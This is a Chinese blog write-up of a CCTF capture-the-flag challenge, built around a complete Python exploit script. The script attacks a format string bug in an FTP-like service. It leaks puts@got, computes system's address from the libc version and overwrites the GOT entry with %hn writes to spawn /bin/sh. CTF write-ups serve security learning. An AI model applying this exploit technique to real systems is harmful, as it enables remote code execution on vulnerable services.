0x00:

之前打了CCTF,在CCTF的过程中遇到一个比较有意思的思路,记录一下。

0x01:

可以看到,这是一个 fmt 的漏洞,不过很简单,接收的输入都在stack中,可以确定输入在栈中的位置,可以做到 任意地址读写。

一般来说,对于这种类型的漏洞,写shellcode到合适的地址然后跳转过去,或者leaksystem地址,改其他函数的got,都是可以拿一个shell的。

本来,我的思路很窄,想的是构造一个循环,去leak我需要的函数,然后改got去拿shell

之后joker师傅提点了我一下,可以leak任意两个函数地址,然后去 libcdb.com 查一波libc的版本,就可以确定libc版本,从而得到system的偏移。

0x02:

综上利用思路就是,leak出任意两个函数地址,然后确定system()的偏移,改掉puts@got,构造puts调用的参数为/bin/sh 就可以拿到shell啦。

这是我找libc的时候截图

0x03:

from zio import *

#target = './pwn3'
target = ('120.27.155.82',9000)
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "red") pwd = "rxraclhm" def put_file(name,content):
io.read_until('ftp>')
io.writeline("put")
io.read_until("upload:")
io.writeline(name)
io.read_until("content:")
io.writeline(content) def get_file(name):
io.read_until('ftp>')
io.writeline("get")
io.read_until('get:')
io.writeline(name) def get_file2(name):
io.writeline("get")
io.read_until('get:')
io.writeline(name) def put_file2(name,content):
io.writeline("put")
io.read_until("upload:")
io.writeline(name)
io.read_until("content:")
io.writeline(content) pl1 = l32(0x0804A014) #printf@got
pl1 += ",%7$s," pl2 = l32(0x0804A024) #malloc@got
pl2 += ",%7$s," pl3 = l32(0x0804A028) #puts@got
pl3 += ",%7$s," offset_puts_to_system = 0x00065650 - 0x00040190
#offset_puts_to_system = 0x269a0 # local io = zio(target,print_read=r_m,print_write=w_m,timeout=999)
io.read_until('):')
io.writeline(pwd) put_file("a",pl3)
#raw_input('$$$$')
get_file("a") rec = io.read_until('>').strip()
junk1,addr,junk2 = rec.split(',')
print "[*]puts is at:%s" % (addr[0:4][::-1] or '').encode('hex')
addr = addr[0:4][::-1].encode('hex')
system_addr = hex(int(addr,16) - offset_puts_to_system)
puts_addr = hex(int(addr,16))
print "[*]system is at:" + system_addr x = int(addr,16) - offset_puts_to_system
#a,b,c,d = [(x >> i) & 0b11111111 for i in range(0, 25, 16)]
a,b = [(x >> i) & 0b1111111111111111 for i in range(0, 25, 16)] print hex(a)+","+hex(b) put_file2("c",l32(0x0804A028)+"%%%dc"%(a-4)+"%7$hn")
raw_input('$$$')
get_file("c") put_file2("d",l32(0x0804A028+2)+"%%%dc"%(b-4)+"%7$hn")
get_file("d") put_file2("/bin/sh;","test")
io.writeline('dir')
io.interact()

0x04:

get shell

最新文章

  1. Nginx - Linux下按天分割日志
  2. Mybatis拦截器
  3. HIbernate二级缓存
  4. 【情人节来一发】网站添加QQ客服功能
  5. windows server 2008 R2 SP1 安装exchange 2010
  6. Hadoop 2.2.0 4结点集群安装 非HA
  7. JBPM WEB CONSOLE安装实录
  8. 10、SQL Server 内置函数、临时对象、流程控制
  9. golang channel初次接触
  10. alpha-咸鱼冲刺day3
  11. Python爬虫入门教程 16-100 500px摄影师社区抓取摄影师数据
  12. HTML和CSS在IE7中常见的兼容性问题
  13. Tomcat 部署java web项目直接ip地址访问项目
  14. 配置nginx1.8支持thinkPHP3.2 pathinfo模式
  15. vue 路由传参的三种基本模式
  16. IE加载项
  17. ETL testing
  18. jee-oxygen版eclipse的安装与卸载 maven配置
  19. opencv的CMakeLists.txt与makefile写法
  20. 仿LOL项目开发第二天

热门文章

  1. 洛谷 P2018 消息传递 题解
  2. Mysql-Sqlalchemy-ORM-多外键关联
  3. Win32汇编-编写PE结构解析工具
  4. OnMouseWheel的通常处理
  5. unity 打包Error:WebException: The remote server returned an error: (403) Forbidden.
  6. Laravel 表单验证创建“表单请求”实现自定义请求类
  7. swagger2 Could not resolve pointer: /definitions
  8. 【Git的基本操作八】添加、提交、查看状态
  9. 记录一则ORA
  10. MySQL导出数据到文件中